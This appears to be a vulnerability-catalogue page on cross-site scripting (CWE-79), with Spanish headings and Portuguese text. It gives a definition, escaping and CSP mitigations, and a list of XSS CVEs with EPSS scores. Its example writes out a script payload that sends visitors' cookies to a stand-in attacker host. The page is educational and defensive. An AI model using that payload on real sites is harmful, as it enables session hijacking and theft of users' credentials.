Fallos del tipo CWE-79

28.949 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-24933—Dynamic Widgets <= 1.5.16 - Reflected Cross-Site ScriptingEPSS 0.6%CVE-2021-24969—Download Manager < 3.2.22 - Subscriber+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2025-62210HIGHDynamics 365 Field Service (online) Spoofing VulnerabilityEPSS 0.6%CVE-2021-24971—WP Responsive Menu < 3.1.7.1 - Subscriber+ Settings Update to Stored XSSEPSS 0.6%CVE-2024-10682MEDIUMBulletin Announcements <= 3.11.7 - Reflected Cross-Site ScriptingEPSS 0.6%CVE-2021-36848LOWWordPress Social Media Feather plugin <= 2.0.4 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2021-1582MEDIUMCisco Application Policy Infrastructure Controller Stored Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2021-38675MEDIUMStored XSS Vulnerability in Image2PDFEPSS 0.6%CVE-2021-36846MEDIUMWordPress Chaty plugin <= 2.8.3 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2021-36893MEDIUMWordPress Responsive Tabs plugin <= 4.0.5 - Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2024-10522MEDIUMCo-marquage service-public.fr <= 0.5.76 - Reflected Cross-Site Scripting via add_query_arg ParameterEPSS 0.6%CVE-2022-23733—Stored XSS vulnerability in GitHub Enterprise Server leading to injection of arbitrary attributesEPSS 0.6%CVE-2021-36896MEDIUMWordPress Pricing Table plugin <= 1.5.2 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2024-2685LOWCampcodes Online Job Finder System index.php cross site scriptingEPSS 0.6%CVE-2021-36910LOWWordPress WP-Appbox plugin <= 4.3.20 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2024-2683LOWCampcodes Online Job Finder System index.php cross site scriptingEPSS 0.6%CVE-2022-36433MEDIUMThe blog-post creation functionality in the Amasty Blog Pro 2.10.3 plugin for Magento 2 allows injection of JavaScript code in the short_conEPSS 0.6%CVE-2024-11202MEDIUMMultiple Plugins <= (Various Versions) - Reflected Cross-Site Scripting via cminds_free_guide ShortcodeEPSS 0.6%CVE-2026-93923HIGHSiYuan through 3.8.4 Stored XSS via Heading Style AttributeEPSS 0.6%CVE-2024-55601MEDIUMHugo does not escape some attributes in internal templatesEPSS 0.6%